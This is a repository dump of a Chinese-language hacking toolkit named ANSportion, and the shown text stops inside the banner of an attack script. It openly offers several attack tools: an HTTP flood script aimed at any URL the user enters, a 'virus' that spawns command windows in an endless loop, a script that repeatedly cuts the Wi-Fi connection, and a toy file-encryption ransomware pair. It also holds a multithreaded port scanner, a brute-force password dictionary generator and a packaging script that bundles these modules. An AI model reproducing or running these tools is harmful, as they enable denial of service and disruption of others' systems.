├── CC
├── __init__.py
├── cc.py
└── thread_cc.py
├── Code
├── __init__.py
├── check_5.py
├── port_2.py
├── wifi_1.py
├── check_4.py
├── crawler_1.py
├── plugins.py
├── crawler_2.py
├── wifi_4.py
├── wifi_3.py
├── server_1.py
├── check_2.py
├── check_3.py
├── check_1.py
├── port_1.py
├── attack_CC.py
├── wifi_2.py
├── server_2.py
├── listen_1.py
├── attack_2.py
└── attack_1.py
├── plugins
├── plugins_list.txt
└── plugins tutorial.txt
├── cc_headers.txt
├── picture
└── ANSportion.ico
├── Virus_program
├── virus-2.py
├── virus-4.py
├── virus-3.1.py
├── virus-1.py
└── virus-3.0.py
├── HTML Code
├── download.html
└── target.html
├── 更新日志1.ans
├── developer
├── SetUp.py
├── image.py
├── generate_dictionary.py
├── wordart2.0.py
└── Install_library.py
├── README.md
├── 更新日志2.ans
├── attack_2_API.json
└── ANSportion.py
/CC/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Code/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/plugins/plugins_list.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cc_headers.txt:
--------------------------------------------------------------------------------
1 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
2 |
--------------------------------------------------------------------------------
/picture/ANSportion.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XXX-Stalker/ANSportion-Pro/HEAD/picture/ANSportion.ico
--------------------------------------------------------------------------------
/Virus_program/virus-2.py:
--------------------------------------------------------------------------------
1 | import time
2 | import os
3 | while True:
4 | os.system("start cmd.exe")
5 | time.sleep(0.05)#停顿时间
--------------------------------------------------------------------------------
/CC/cc.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | def cc_main():
4 | url = input("请输入要攻击的网址:")
5 | while True:
6 | response = requests.get(url)
7 | print(f"状态码: {response.status_code}")
--------------------------------------------------------------------------------
/HTML Code/download.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Download file
5 |
6 |
7 | Welcome to the download page
8 | Download
9 |
10 |
11 |
--------------------------------------------------------------------------------
/更新日志1.ans:
--------------------------------------------------------------------------------
1 | 1.1.9:
2 | - 内容:
3 | - 修复了插件功能
4 | - ANSportion.py 修改了初始化部分
5 | - 修改过或新增的文件'&'或文件夹'*':
6 | - ANSportion.py - 修改 &
7 | - Code/attack_1.py - 修改 &
8 | - Code/attack_2.py - 修改 &
9 | - Code/attack_CC.py - 修改 &
10 | - Code/port_1.py - 修改 &
11 | - cc/thread_cc.py - 修改 &
12 | - Code/use_1.py - 删除 &
13 | - DOS - 删除 *
14 |
--------------------------------------------------------------------------------
/Code/check_5.py:
--------------------------------------------------------------------------------
1 | import platform
2 | import os
3 |
4 | def check_5_main():
5 | system = platform.system().lower()
6 | if system == "windows":
7 | command = "netsh interface ip show interfaces"
8 | os.system(command)
9 | elif system == "linux":
10 | command = "ip -o link"
11 | os.system(command)
12 | elif system == "darwin":
13 | command = "ifconfig -a"
14 | os.system(command)
15 | else:
16 | raise NotImplementedError(f"Unsupported platform: {system}")
--------------------------------------------------------------------------------
/Code/port_2.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | def check_port(ip, port):
4 | try:
5 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
6 | s.settimeout(3)
7 | result = s.connect_ex((ip, port))
8 | if result == 0:
9 | print(f"端口 {port} 是开放的")
10 | else:
11 | print(f"端口 {port} 是关闭的")
12 | except Exception as e:
13 | print(f"检查端口 {port} 时出错: {e}")
14 |
15 | def port_2_main():
16 | ip = input("请输入目标IP地址: ")
17 | port = int(input("请输入目标端口号: "))
18 | check_port(ip, port)
--------------------------------------------------------------------------------
/Virus_program/virus-4.py:
--------------------------------------------------------------------------------
1 | from pywifi import PyWiFi, const
2 |
3 | def disconnect_wifi():
4 | # 创建一个PyWiFi对象
5 | wifi = PyWiFi()
6 | # 获取第一个无线网卡接口
7 | iface = wifi.interfaces()[0]
8 | # 断开当前WiFi连接
9 | iface.disconnect()
10 | # 检查网卡是否处于断开状态
11 | if iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
12 | print(f"无线网卡 {iface.name()} 已断开!")
13 | else:
14 | print(f"无线网卡 {iface.name()} 未成功断开!")
15 |
16 | def main():
17 | while True:
18 | disconnect_wifi()
19 |
20 | if __name__ == "__main__":
21 | main()
--------------------------------------------------------------------------------
/HTML Code/target.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | HTML
7 |
21 |
22 |
23 | Hello
24 | XXX_STALKER
25 |
26 |
27 |
--------------------------------------------------------------------------------
/Virus_program/virus-3.1.py:
--------------------------------------------------------------------------------
1 | from cryptography.fernet import Fernet
2 |
3 | def load_key():
4 | """
5 | 从文件中加载密钥
6 | """
7 | return open("secret.key", "rb").read()
8 |
9 | def decrypt_file(file_name, key):
10 | """
11 | 解密指定文件
12 | """
13 | f = Fernet(key)
14 | with open(file_name, "rb") as file:
15 | # 读取加密文件内容
16 | encrypted_data = file.read()
17 | decrypted_data = f.decrypt(encrypted_data)
18 | with open(file_name[:-10], "wb") as file:
19 | file.write(decrypted_data)
20 |
21 | if __name__ == "__main__":
22 | # 加载密钥
23 | key = load_key()
24 | # 指定要解密的文件路径
25 | file_path = "example.txt.encrypted"
26 | decrypt_file(file_path, key)
27 | print(f"文件 {file_path} 已解密为 {file_path[:-10]}")
--------------------------------------------------------------------------------
/Code/wifi_1.py:
--------------------------------------------------------------------------------
1 | import pywifi
2 | from pywifi import const
3 | import time
4 | def connect_to_wifi(ssid, password):
5 | wifi = pywifi.PyWiFi()
6 | iface = wifi.interfaces()[0]
7 | iface.disconnect()
8 | time.sleep(1)
9 | profile = pywifi.Profile()
10 | profile.ssid = ssid
11 | profile.auth = const.AUTH_ALG_OPEN
12 | profile.akm.append(const.AKM_TYPE_WPA2PSK)
13 | profile.cipher = const.CIPHER_TYPE_CCMP
14 | profile.key = password
15 | tmp_profile = iface.add_network_profile(profile)
16 | iface.connect(tmp_profile)
17 | time.sleep(5)
18 | if iface.status() == const.IFACE_CONNECTED:
19 | print(f"成功连接到 {ssid}")
20 | else:
21 | print(f"无法连接到 {ssid}")
22 |
23 | def wifi_1_main():
24 | ssid = input("请输入 Wi-Fi 名称: ")
25 | password = input("请输入 Wi-Fi 密码: ")
26 | connect_to_wifi(ssid, password)
--------------------------------------------------------------------------------
/Virus_program/virus-1.py:
--------------------------------------------------------------------------------
1 | import os
2 | import shutil
3 | import logging
4 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
5 | def copy_file_to_directory(source_file, destination_directory):
6 | if not os.path.isfile(source_file):
7 | logging.error(f"源文件 {source_file} 不存在")
8 | return
9 | if not os.path.exists(destination_directory):
10 | os.makedirs(destination_directory)
11 | logging.info(f"创建目标目录 {destination_directory}")
12 | destination_file = os.path.join(destination_directory, os.path.basename(source_file))
13 | try:
14 | shutil.copy(source_file, destination_file)
15 | logging.info(f"文件 {source_file} 已成功复制到 {destination_directory}")
16 | except Exception as e:
17 | logging.error(f"复制文件时出错: {e}")
18 | source_file = "文件源" #文件源
19 | destination_directory = "文件目录" #文件目标
20 | copy_file_to_directory(source_file, destination_directory)
21 |
--------------------------------------------------------------------------------
/Code/check_4.py:
--------------------------------------------------------------------------------
1 | import psutil
2 | import socket
3 |
4 | def list_all_interfaces():
5 | try:
6 | print("\n可用网络接口:")
7 | all_interfaces = psutil.net_if_addrs()
8 |
9 | for interface, addrs in all_interfaces.items():
10 | print(f"\n接口: {interface}")
11 | ipv4_addrs = []
12 | mac_addr = None
13 |
14 | for addr in addrs:
15 | if addr.family == socket.AF_INET:
16 | ipv4_addrs.append(addr.address)
17 | elif addr.family == psutil.AF_LINK:
18 | mac_addr = addr.address.upper()
19 |
20 | if ipv4_addrs:
21 | print(" IPv4地址:", ", ".join(ipv4_addrs))
22 | if mac_addr:
23 | print(" MAC地址:", mac_addr)
24 | print("\n")
25 | except Exception as e:
26 | print(f"获取网络接口信息时出错: {e}")
27 |
28 | def check_4_main():
29 | list_all_interfaces()
--------------------------------------------------------------------------------
/Virus_program/virus-3.0.py:
--------------------------------------------------------------------------------
1 | from cryptography.fernet import Fernet
2 |
3 | def generate_key():
4 | """
5 | 生成一个密钥并保存到文件中
6 | """
7 | key = Fernet.generate_key()
8 | with open("secret.key", "wb") as key_file:
9 | key_file.write(key)
10 |
11 | def load_key():
12 | """
13 | 从文件中加载密钥
14 | """
15 | return open("secret.key", "rb").read()
16 |
17 | def encrypt_file(file_name, key):
18 | """
19 | 加密指定文件
20 | """
21 | f = Fernet(key)
22 | with open(file_name, "rb") as file:
23 | # 读取文件内容
24 | file_data = file.read()
25 | encrypted_data = f.encrypt(file_data)
26 | with open(file_name + ".encrypted", "wb") as file:
27 | file.write(encrypted_data)
28 |
29 | if __name__ == "__main__":
30 | # 生成并保存密钥
31 | generate_key()
32 | # 加载密钥
33 | key = load_key()
34 | # 指定要加密的文件路径
35 | file_path = "example.txt"
36 | encrypt_file(file_path, key)
37 | print(f"文件 {file_path} 已加密为 {file_path}.encrypted")
--------------------------------------------------------------------------------
/Code/crawler_1.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | def crawler_1_main():
4 | def get_html_content(url):
5 | try:
6 | response = requests.get(url)
7 | response.raise_for_status() # 检查请求是否成功
8 | return response.text
9 | except requests.exceptions.RequestException as e:
10 | print(f"网站: {url} 发生错误: {e}")
11 | return None
12 | url = input("请输入要爬取的网站URL: ")
13 | choice = input("请选择操作1 - 打印到终端,2 - 保存到文件: ")
14 | html_content = get_html_content(url)
15 | if html_content:
16 | if choice == '1':
17 | print(html_content)
18 | elif choice == '2':
19 | file_name = input("请输入要保存的文件名: ")
20 | try:
21 | with open(file_name, 'w', encoding='utf-8') as file:
22 | file.write(html_content)
23 | print(f"内容已保存到 {file_name}")
24 | except IOError as e:
25 | print(f"保存文件时发生错误: {e}")
26 | else:
27 | print("无效的选择")
--------------------------------------------------------------------------------
/Code/plugins.py:
--------------------------------------------------------------------------------
1 | file_path = f"plugins/plugins_list.txt"
2 |
3 | def run_plugins(target_line):
4 | def check_line_in_file(file_path, target_line):
5 | try:
6 | with open(file_path, 'r') as file:
7 | lines = file.readlines()
8 | for line in lines:
9 | if line.strip() == target_line:
10 | return True
11 | return False
12 | except FileNotFoundError:
13 | print(f"文件 {file_path} 不存在")
14 | return False
15 |
16 | if check_line_in_file(file_path, target_line):
17 | print(f"正在打开插件包 {target_line}...")
18 | module_name = f"plugins.{target_line}_guide"
19 | try:
20 | import importlib
21 | module = importlib.import_module(module_name)
22 | plugin_func = module.RUN
23 | plugin_func()
24 | except ImportError as e:
25 | print(f"无法打开插件包 {target_line}: {e}")
26 | except AttributeError:
27 | print(f"插件包 {target_line} 中没有找到 RUN 函数")
28 | else:
29 | pass
--------------------------------------------------------------------------------
/Code/crawler_2.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import validators
3 | import time
4 |
5 | def check_website_status(url):
6 | headers = {
7 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
8 | }
9 | if not validators.url(url):
10 | print(f"{url} 不是合法的网址格式,请重新输入。")
11 | return
12 | try:
13 | start_time = time.time()
14 | response = requests.get(url, headers=headers, timeout=10)
15 | end_time = time.time()
16 | response_time = end_time - start_time
17 | print("-" * 50)
18 | print(f"网站: {url}")
19 | print(f"状态码: {response.status_code}")
20 | print(f"响应时间: {response_time:.2f} 秒")
21 | print("-" * 50)
22 | except requests.exceptions.Timeout:
23 | print(f"{'-' * 50}\n网站: {url} 请求超时\n{'-' * 50}")
24 | except requests.exceptions.ConnectionError:
25 | print(f"{'-' * 50}\n网站: {url} 连接失败\n{'-' * 50}")
26 | except requests.exceptions.RequestException as e:
27 | print(f"{'-' * 50}\n网站: {url} 发生错误:{e}\n{'-' * 50}")
28 |
29 | def crawler_2_main():
30 | websites = input("请输入要检查的网站URL: ").split()
31 | for site in websites:
32 | check_website_status(site)
--------------------------------------------------------------------------------
/Code/wifi_4.py:
--------------------------------------------------------------------------------
1 | import pywifi
2 | from pywifi import const
3 | import time
4 |
5 | def connect_to_wifi(ssid, password):
6 | wifi = pywifi.PyWiFi()
7 | iface = wifi.interfaces()[0]
8 | iface.disconnect()
9 | time.sleep(1)
10 | if iface.status() == const.IFACE_CONNECTED and iface.ssid() == ssid:
11 | print(f"已连接到 {ssid}")
12 | return True
13 | profile = pywifi.Profile()
14 | profile.ssid = ssid
15 | profile.auth = const.AUTH_ALG_OPEN
16 | profile.akm.append(const.AKM_TYPE_WPA2PSK)
17 | profile.cipher = const.CIPHER_TYPE_CCMP
18 | profile.key = password
19 | tmp_profile = iface.add_network_profile(profile)
20 | iface.connect(tmp_profile)
21 | time.sleep(5)
22 | if iface.status() == const.IFACE_CONNECTED:
23 | print(f"成功连接到 {ssid}")
24 | return True
25 | else:
26 | print(f"无法连接到 {ssid}")
27 | return False
28 |
29 | def wifi_4_main():
30 | ssid = input("请输入 Wi-Fi 名称: ")
31 | password = input("请输入 Wi-Fi 密码: ")
32 | try:
33 | while True:
34 | if not connect_to_wifi(ssid, password):
35 | print("尝试重新连接...")
36 | continue
37 | else:
38 | time.sleep(1)
39 | except KeyboardInterrupt:
40 | print("用户手动终止程序")
--------------------------------------------------------------------------------
/developer/SetUp.py:
--------------------------------------------------------------------------------
1 | from PyInstaller.__main__ import run
2 | def package_with_pyinstaller_api():
3 | opts = [
4 | "--onefile",
5 | "--icon", "picture/ANSportion.ico",
6 | "--name", "ANSportion1.1.9-Pro",
7 |
8 | "ANSportion.py",
9 |
10 | "Code/__init__.py",
11 |
12 | "Code/plugins.py",
13 |
14 | "Code/attack_1.py",
15 | "Code/attack_2.py",
16 | "Code/attack_CC.py",
17 |
18 | "Code/check_1.py",
19 | "Code/check_2.py",
20 | "Code/check_3.py",
21 | "Code/check_4.py",
22 | "Code/check_5.py",
23 |
24 | "Code/crawler_1.py",
25 | "Code/crawler_2.py",
26 |
27 | "Code/port_1.py",
28 | "Code/port_2.py",
29 |
30 | "Code/server_1.py",
31 | "Code/server_2.py",
32 |
33 | "Code/listen_1.py",
34 |
35 | "Code/wifi_1.py",
36 | "Code/wifi_2.py",
37 | "Code/wifi_3.py",
38 | "Code/wifi_4.py",
39 |
40 | "CC/__init__.py",
41 | "CC/cc.py",
42 | "CC/thread_cc.py",
43 | ]
44 | try:
45 | run(opts)
46 | print("打包成功")
47 | except SystemExit as e:
48 | print("打包过程出错:", e)
49 | if __name__ == "__main__":
50 | package_with_pyinstaller_api()
51 |
--------------------------------------------------------------------------------
/developer/image.py:
--------------------------------------------------------------------------------
1 | from PIL import Image
2 | import os
3 | import sys
4 |
5 | def convert_image(input_path, output_path, output_format):
6 | try:
7 | # 打开图片
8 | with Image.open(input_path) as img:
9 | # 获取图片的原始格式
10 | original_format = img.format
11 | print(f"原始图片格式:{original_format}")
12 | # 转换图片格式
13 | img.save(output_path, format=output_format.upper())
14 | print(f"图片已成功转换为 {output_format.upper()} 格式,保存到 {output_path}")
15 | except Exception as e:
16 | print(f"转换失败:{e}")
17 |
18 | def main():
19 | input_path = input("请输入图片的完整路径:")
20 | output_format = input("请输入目标格式(如 ICO, JPG, PNG 等):").strip().upper()
21 | # 检查文件是否存在
22 | if not os.path.isfile(input_path):
23 | print("错误:输入的文件不存在!")
24 | sys.exit(1)
25 | # 检查输出格式是否支持
26 | supported_formats = ["ICO", "JPG", "JPEG", "PNG", "GIF", "BMP", "TIFF"]
27 | if output_format not in supported_formats:
28 | print(f"错误:不支持的格式 {output_format}。支持的格式有:{', '.join(supported_formats)}")
29 | sys.exit(1)
30 | # 构造输出路径
31 | output_path = os.path.splitext(input_path)[0] + f".{output_format.lower()}"
32 | # 调用转换函数
33 | convert_image(input_path, output_path, output_format)
34 |
35 | if __name__ == "__main__":
36 | main()
--------------------------------------------------------------------------------
/Code/wifi_3.py:
--------------------------------------------------------------------------------
1 | import pywifi
2 | import time
3 | import sys
4 | from threading import Thread
5 |
6 | def animate_scanning():
7 | chars = "|/-\\"
8 | i = 0
9 | while getattr(animate_scanning, "running", True):
10 | sys.stdout.write(f"\r扫描中... {chars[i % len(chars)]}")
11 | sys.stdout.flush()
12 | time.sleep(0.1)
13 | i += 1
14 | sys.stdout.write("\r扫描完成! \n")
15 |
16 | def wifi_3_main():
17 | time_stop = input("请输入扫描时间(秒,建议3-10): ")
18 | try:
19 | time_stop = int(time_stop)
20 | except ValueError:
21 | print("请输入有效的数字!")
22 | return
23 | animate_scanning.running = True
24 | t = Thread(target=animate_scanning)
25 | t.start()
26 | wifi_list = scan_wifi(time_stop)
27 | animate_scanning.running = False
28 | t.join()
29 | print("\n扫描结果:")
30 | for i, wifi in enumerate(wifi_list, 1):
31 | print(f"{i}. SSID: {wifi['ssid']} | 信号强度: {wifi['signal']}dBm | MAC: {wifi['address']}")
32 |
33 | def scan_wifi(time_stop):
34 | wifi = pywifi.PyWiFi()
35 | iface = wifi.interfaces()[0]
36 | iface.scan()
37 | time.sleep(time_stop)
38 | results = iface.scan_results()
39 | return [
40 | {'address': result.bssid,
41 | 'ssid': result.ssid,
42 | 'signal': result.signal}
43 | for result in results
44 | ]
--------------------------------------------------------------------------------
/Code/server_1.py:
--------------------------------------------------------------------------------
1 | import http.server
2 | import socketserver
3 | import socket
4 | import os
5 |
6 | def get_local_ip():
7 | hostname = socket.gethostname()
8 | ip_address = socket.gethostbyname(hostname)
9 | return ip_address
10 |
11 | local_ip = get_local_ip()
12 | IP = local_ip
13 |
14 | def server_1_main():
15 | while True:
16 | PORT = input("请输入端口号:")
17 | try:
18 | PORT = int(PORT)
19 | break
20 | except ValueError:
21 | print("端口号必须是整数,请重新输入")
22 |
23 | HTML_file = input("请输入存放HTML代码文件名:")
24 |
25 | # 确保文件路径是跨平台的
26 | HTML_file = os.path.join(os.getcwd(), HTML_file)
27 |
28 | class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
29 | def do_GET(self):
30 | # 打印客户端IP地址
31 | client_ip = self.client_address[0]
32 | print(f"客户端IP: {client_ip}")
33 |
34 | # 读取HTML文件内容
35 | try:
36 | with open(HTML_file, 'rb') as file: # 使用'rb'模式以二进制方式读取文件
37 | html_content = file.read()
38 | except FileNotFoundError:
39 | html_content = b"The server needs to continue debugging
" # 使用字节串
40 |
41 | # 发送HTTP响应
42 | self.send_response(200)
43 | self.send_header("Content-type", "text/html")
44 | self.end_headers()
45 | self.wfile.write(html_content) # 直接写入字节串
46 |
47 | # 创建TCP服务器实例
48 | with socketserver.TCPServer((IP, PORT), CustomHTTPRequestHandler) as httpd:
49 | print(f"服务器地址 (http://{IP}:{PORT}) \n服务器已启动!!!")
50 | httpd.serve_forever()
--------------------------------------------------------------------------------
/Code/check_2.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | def is_valid_ipv4(ip):
4 | pattern = re.compile(r'^(\d{1,3}\.){3}\d{1,3}$')
5 | if not pattern.match(ip):
6 | return False
7 | parts = ip.split('.')
8 | for part in parts:
9 | try:
10 | num = int(part)
11 | if not 0 <= num <= 255:
12 | return False
13 | except ValueError:
14 | return False
15 | return True
16 |
17 | def is_valid_ipv6(ip):
18 | pattern = re.compile(r'^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$|^::([0-9a-fA-F]{1,4}:){0,6}[0-9a-fA-F]{1,4}$|^([0-9a-fA-F]{1,4}:){1,6}::([0-9a-fA-F]{1,4}:){0,5}[0-9a-fA-F]{1,4}$')
19 | return bool(pattern.match(ip))
20 |
21 | def check_ip_address(ip):
22 | if ':' in ip:
23 | return 'IPv6', is_valid_ipv6(ip)
24 | else:
25 | return 'IPv4', is_valid_ipv4(ip)
26 |
27 | def check_2_main():
28 | print("IP地址验证工具")
29 | print("1. 验证单个IP地址")
30 | print("2. 批量验证IP地址")
31 | while True:
32 | choice = input("请选择模式(1/2): ").strip()
33 | if choice in ('1', '2'):
34 | break
35 | print("无效输入,请重新选择")
36 | if choice == '1':
37 | while True:
38 | ip = input("请输入要验证的IP地址: ").strip()
39 | if ip:
40 | ip_type, is_valid = check_ip_address(ip)
41 | print(f"IP地址 {ip} 类型: {ip_type}, 有效性: {'有效' if is_valid else '无效'}")
42 | break
43 | print("IP地址不能为空,请重新输入")
44 | else:
45 | print("请输入多个IP地址,用空格或逗号分隔:")
46 | ips_input = input("IP地址列表: ").strip()
47 | separators = re.compile(r'[,\s]+')
48 | ips = separators.split(ips_input)
49 | print("\n验证结果:")
50 | for ip in ips:
51 | if ip:
52 | ip_type, is_valid = check_ip_address(ip)
53 | print(f"{ip:<20} 类型: {ip_type:<5} 有效性: {'有效' if is_valid else '无效'}")
--------------------------------------------------------------------------------
/developer/generate_dictionary.py:
--------------------------------------------------------------------------------
1 | import itertools
2 | import threading
3 | import time
4 |
5 | def generate_dictionary(start_len, end_len, use_letters, use_numbers, use_symbols, filename, suffix, thread_count):
6 | # 定义字符集
7 | characters = ""
8 | if use_letters:
9 | characters += "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
10 | if use_numbers:
11 | characters += "0123456789"
12 | if use_symbols:
13 | characters += "!@#$%^&*()_+-=[]{}|;:,.<>?`~"
14 |
15 | # 打开文件准备写入
16 | with open(f"{filename}.{suffix}", "w") as file:
17 | # 定义每个线程的任务
18 | def worker(start, end):
19 | for length in range(start, end + 1):
20 | for combination in itertools.product(characters, repeat=length):
21 | file.write("".join(combination) + "\n")
22 |
23 | # 创建线程
24 | threads = []
25 | step = (end_len - start_len + 1) // thread_count
26 | for i in range(thread_count):
27 | start = start_len + i * step
28 | end = start_len + (i + 1) * step - 1 if i < thread_count - 1 else end_len
29 | thread = threading.Thread(target=worker, args=(start, end))
30 | threads.append(thread)
31 | thread.start()
32 |
33 | # 等待所有线程完成
34 | for thread in threads:
35 | thread.join()
36 |
37 | if __name__ == "__main__":
38 | # 用户输入
39 | start_len = int(input("请输入起始文字位数: "))
40 | end_len = int(input("请输入结束文字位数: "))
41 | use_letters = input("是否包含字母? (y/n): ").lower() == 'y'
42 | use_numbers = input("是否包含数字? (y/n): ").lower() == 'y'
43 | use_symbols = input("是否包含符号? (y/n): ").lower() == 'y'
44 | thread_count = int(input("请输入线程数: "))
45 | filename = input("请输入保存的文件名: ")
46 | suffix = input("请输入文件后缀 (例如: txt): ")
47 |
48 | # 开始生成字典
49 | print("开始生成字典...")
50 | start_time = time.time()
51 | generate_dictionary(start_len, end_len, use_letters, use_numbers, use_symbols, filename, suffix, thread_count)
52 | end_time = time.time()
53 | print(f"字典生成完成,耗时: {end_time - start_time:.2f} 秒")
--------------------------------------------------------------------------------
/Code/check_3.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from urllib.parse import urlparse
3 |
4 | def get_ips_from_url(url, ip_version='both'):
5 | parsed_url = urlparse(url)
6 | hostname = parsed_url.hostname
7 | if not hostname:
8 | print("无效的URL")
9 | return
10 | try:
11 | if ip_version == 'v4':
12 | families = [socket.AF_INET]
13 | elif ip_version == 'v6':
14 | families = [socket.AF_INET6]
15 | else:
16 | families = [socket.AF_INET, socket.AF_INET6]
17 | unique_ips = set()
18 | for family in families:
19 | try:
20 | ips = socket.getaddrinfo(hostname, None, family=family)
21 | for ip in ips:
22 | unique_ips.add(ip[4][0])
23 | except socket.gaierror:
24 | continue # 如果某种地址族没有记录则跳过
25 | if not unique_ips:
26 | print(f"网站 {hostname} 没有找到{_get_version_desc(ip_version)}地址")
27 | return
28 | print(f"网站 {hostname} 的{_get_version_desc(ip_version)}地址:")
29 | for ip in unique_ips:
30 | print(f" - {ip}")
31 | except Exception as e:
32 | print(f"解析域名时出错: {e}")
33 |
34 | def _get_version_desc(ip_version):
35 | return {
36 | 'v4': 'IPv4',
37 | 'v6': 'IPv6',
38 | 'both': 'IP'
39 | }.get(ip_version, 'IP')
40 |
41 | def check_3_main():
42 | print("IP地址扫描工具")
43 | print("1. 扫描IPv4地址")
44 | print("2. 扫描IPv6地址")
45 | print("3. 扫描所有IP地址")
46 | while True:
47 | choice = input("请选择扫描类型(1/2/3): ").strip()
48 | if choice == '1':
49 | ip_version = 'v4'
50 | break
51 | elif choice == '2':
52 | ip_version = 'v6'
53 | break
54 | elif choice == '3':
55 | ip_version = 'both'
56 | break
57 | else:
58 | print("无效选择,请重新输入")
59 | while True:
60 | url = input("请输入网站的URL(例如: www.example.com): ").strip()
61 | if url:
62 | if not url.startswith(('http://', 'https://')):
63 | url = 'http://' + url
64 | break
65 | else:
66 | print("URL不能为空,请重新输入")
67 | get_ips_from_url(url, ip_version)
--------------------------------------------------------------------------------
/Code/check_1.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import socket
3 | import subprocess
4 | import re
5 | import sys
6 |
7 | def get_public_ip():
8 | try:
9 | response = requests.get('https://httpbin.org/ip')
10 | if response.status_code == 200:
11 | data = response.json()
12 | return data.get('origin')
13 | else:
14 | print(f"请求失败,状态码: {response.status_code}")
15 | except requests.RequestException as e:
16 | print(f"请求异常: {e}")
17 |
18 | def get_local_ip():
19 | try:
20 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
21 | s.connect(("8.8.8.8", 80))
22 | ip = s.getsockname()[0]
23 | s.close()
24 | return ip
25 | except socket.error as e:
26 | print(f"获取本地 IP 时发生错误: {e}")
27 |
28 | def get_gateway_ip_windows():
29 | try:
30 | result = subprocess.run(['ipconfig'], capture_output=True, text=True)
31 | output = result.stdout
32 | pattern = r"默认网关.*?:\s*([\d\.]+)"
33 | match = re.search(pattern, output)
34 | if match:
35 | gateway_ip = match.group(1)
36 | return gateway_ip
37 | else:
38 | print("未找到默认网关信息。")
39 | return None
40 | except Exception as e:
41 | print(f"执行命令出错: {e}")
42 | return None
43 |
44 | def get_gateway_ip_linux_macos():
45 | try:
46 | result = subprocess.run(['netstat', '-rn'], capture_output=True, text=True)
47 | output = result.stdout
48 | pattern = r"default\s+([\d\.]+)"
49 | match = re.search(pattern, output)
50 | if match:
51 | gateway_ip = match.group(1)
52 | return gateway_ip
53 | else:
54 | print("未找到默认网关信息。")
55 | return None
56 | except Exception as e:
57 | print(f"执行命令出错: {e}")
58 | return None
59 |
60 | def check_1_main():
61 | if sys.platform == "win32":
62 | gateway_ip = get_gateway_ip_windows()
63 | elif sys.platform in ["linux", "darwin"]:
64 | gateway_ip = get_gateway_ip_linux_macos()
65 | else:
66 | print("此脚本不支持手机系统")
67 | sys.exit()
68 |
69 | if gateway_ip:
70 | print(f"网关 IP 地址: {gateway_ip}")
71 | print("公网IP:", get_public_ip())
72 | print("局域网IP:", get_local_ip())
--------------------------------------------------------------------------------
/Code/port_1.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from concurrent.futures import ThreadPoolExecutor, as_completed
3 | from tqdm import tqdm
4 | import signal
5 |
6 | # 添加一个全局变量来控制扫描的停止
7 | stop_scan = False
8 |
9 | def signal_handler(sig, frame):
10 | global stop_scan
11 | print("\n用户手动终止扫描")
12 | stop_scan = True
13 |
14 | def is_port_open(ip, port):
15 | try:
16 | if stop_scan:
17 | return None
18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 | sock.settimeout(1)
20 | result = sock.connect_ex((ip, port))
21 | sock.close()
22 | return port if result == 0 else None
23 | except Exception:
24 | return None # 捕获异常并返回 None,避免影响主线程
25 |
26 | def scan_ports(ip, start_port, end_port, max_workers):
27 | open_ports = []
28 | with ThreadPoolExecutor(max_workers=max_workers) as executor:
29 | future_to_port = {executor.submit(is_port_open, ip, port): port for port in range(start_port, end_port + 1)}
30 | for future in tqdm(as_completed(future_to_port), total=end_port - start_port + 1, desc="扫描进度", ncols=100):
31 | if stop_scan:
32 | break
33 | port = future_to_port[future]
34 | open_port = future.result()
35 | if open_port:
36 | open_ports.append(open_port)
37 | return open_ports
38 |
39 | def port_1_main():
40 | global stop_scan
41 | signal.signal(signal.SIGINT, signal_handler) # 注册信号处理函数
42 | ip = input("请输入要扫描的IP地址: ")
43 | try:
44 | print("端口范围: 1-65535")
45 | start_port = int(input("请输入起始端口: "))
46 | end_port = int(input("请输入结束端口: "))
47 | if start_port > end_port or start_port < 1 or end_port > 65535:
48 | raise ValueError("端口范围无效。")
49 | print("线程数量: 1-1000")
50 | max_workers = int(input("请输入线程数量: "))
51 | if max_workers < 1:
52 | raise ValueError("线程数量必须大于0")
53 | if max_workers > 1000:
54 | raise ValueError("线程数量必须小于1 000")
55 | except ValueError as e:
56 | print(f"输入错误: {e}")
57 | return
58 |
59 | print(f"扫描 {ip} 的端口 {start_port} 到 {end_port} ...")
60 | open_ports = scan_ports(ip, start_port, end_port, max_workers)
61 | if open_ports:
62 | print(f"开放的端口: {', '.join(map(str, open_ports))}")
63 | else:
64 | print("没有找到开放的端口")
65 |
--------------------------------------------------------------------------------
/Code/attack_CC.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 |
4 | #所有初始化
5 | version = "1.0.0"
6 |
7 | title = f'''
8 | MM'""""'YMM MM'""""'YMM MMP"""""""MM M""""""""M M""""""""M MMP"""""""MM MM'""""'YMM M""MMMMM""M
9 | M' .mmm. `M M' .mmm. `M M' .mmmm MM Mmmm mmmM Mmmm mmmM M' .mmmm MM M' .mmm. `M M MMMM' .M
10 | M MMMMMooM M MMMMMooM M `M MMMM MMMM MMMM MMMM M `M M MMMMMooM M .MM
